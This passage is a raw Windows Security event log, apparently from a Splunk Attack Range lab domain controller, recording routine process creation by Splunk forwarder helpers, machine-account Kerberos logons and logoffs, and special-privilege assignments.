Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255755 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255757 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:33:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255760 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x35A3B6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:33:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255759 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x35A3B6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64720 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:33:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255758 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x35A3B6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:34:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255761 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1134 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:34:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255763 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x298 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:34:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255762 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd54 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:34:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255764 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:34:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255766 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1244 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:34:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255765 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe48 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:34:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255767 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb30 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:34:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255770 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x35D932 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:34:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255769 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x35D932 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64733 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:34:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255768 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x35D932 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:35:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255771 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:35:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255772 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:35:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255774 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbe0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:35:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255773 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:35:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255776 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x458 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:35:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255775 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:35:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255777 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x784 - New Process Name: 